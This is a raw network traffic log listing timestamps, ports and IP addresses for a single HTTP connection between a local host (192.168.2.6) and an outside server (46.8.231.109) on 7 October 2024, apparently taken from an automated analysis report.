Oct 7, 2024 18:00:25.982805014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982815981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982816935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982842922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982858896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.984427929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984448910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984460115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984481096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.984498978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.984771967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984782934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984792948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984802961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.984828949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.984857082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.985851049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.985862017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.985872984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.985917091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.985951900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.985972881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.985986948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.985997915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986007929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986012936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986021042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986036062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986064911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986089945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986099958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986110926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986120939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986129045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986130953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986143112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986160040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986191034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986275911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986285925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986294985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986310959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986313105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986321926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986346006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986372948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.986427069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986438036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.986476898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.987351894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987364054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987375021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987407923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.987421989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.987467051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987477064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987485886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987498045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.987509966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.987540960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.988723040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988768101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.988792896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988809109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988842964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.988862991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988873959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988890886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988903046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.988903999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.988934994 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.988960028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989011049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989052057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989727020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989777088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989798069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989813089 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989861012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989871025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989886045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989897966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989898920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.989908934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.989934921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990015984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990026951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990037918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990047932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990056992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990057945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990087986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990118027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990168095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990179062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990189075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990211010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990236998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990482092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990524054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990551949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990564108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990595102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990622997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990637064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990648031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990658045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990662098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990689039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990721941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990804911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990816116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990825891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990835905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990843058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990845919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990860939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990891933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.990971088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990982056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.990992069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991002083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991013050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991013050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.991023064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991035938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991040945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.991045952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991056919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.991060972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.991077900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.991106033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992501974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992512941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992522955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992532969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992547035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992563963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992590904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992743015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992784977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992789984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992801905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992810965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.992827892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992840052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.992860079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.993149042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993160009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993169069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993180037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993199110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.993227959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.993503094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993515015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993525028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993555069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.993570089 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.993592024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.993633032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.994014978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994024992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994035959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994055986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.994131088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.994272947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994282961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994292974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994302988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.994322062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.994347095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.061423063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061467886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061477900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061511993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.061528921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.061691999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061708927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061721087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.061829090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.061829090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.061829090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.065432072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065485001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.065550089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065560102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065582991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065594912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.065598011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065612078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065624952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065643072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.065676928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.065859079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.065911055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.066158056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066165924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066181898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066211939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.066221952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066231966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066240072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.066241026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066251993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066268921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.066301107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.066318035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.066375017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.067949057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.067959070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.067969084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068006992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.068017006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068027973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068033934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.068037987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068048954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068065882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.068099976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.068114996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.068156004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069556952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069592953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069602966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069611073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069627047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069649935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069705009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069750071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069761992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069772959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069783926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069794893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069804907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069806099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069823980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069853067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069878101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069889069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069899082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069909096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069919109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069926023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069930077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.069950104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.069976091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.070141077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070158005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070187092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.070211887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.070297956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070307970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070317030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070327997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070342064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070350885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070352077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.070389986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.070987940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.070998907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071010113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071042061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.071043015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071053982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071059942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071065903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.071069956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.071093082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.071125984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.072199106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072259903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.072300911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072309971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072320938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072330952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072340965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072345972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.072351933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072370052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.072376966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.072398901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.072418928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073410034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073421001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073431969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073467016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073493958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073560953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073570967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073581934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073591948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073606014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073633909 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073719025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073729038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073745012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073762894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073765039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073772907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073784113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073795080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.073811054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073826075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073849916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.073960066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074009895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074054956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074064970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074074030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074140072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074150085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074161053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074172020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074172974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074182034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074193001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074203968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074203968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074218988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074218988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074255943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074510098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074561119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074569941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074569941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074609041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074636936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074647903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074656963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074667931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074685097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074700117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074851990 CEST	80	49718	46.8.231.109	192.168.2.6
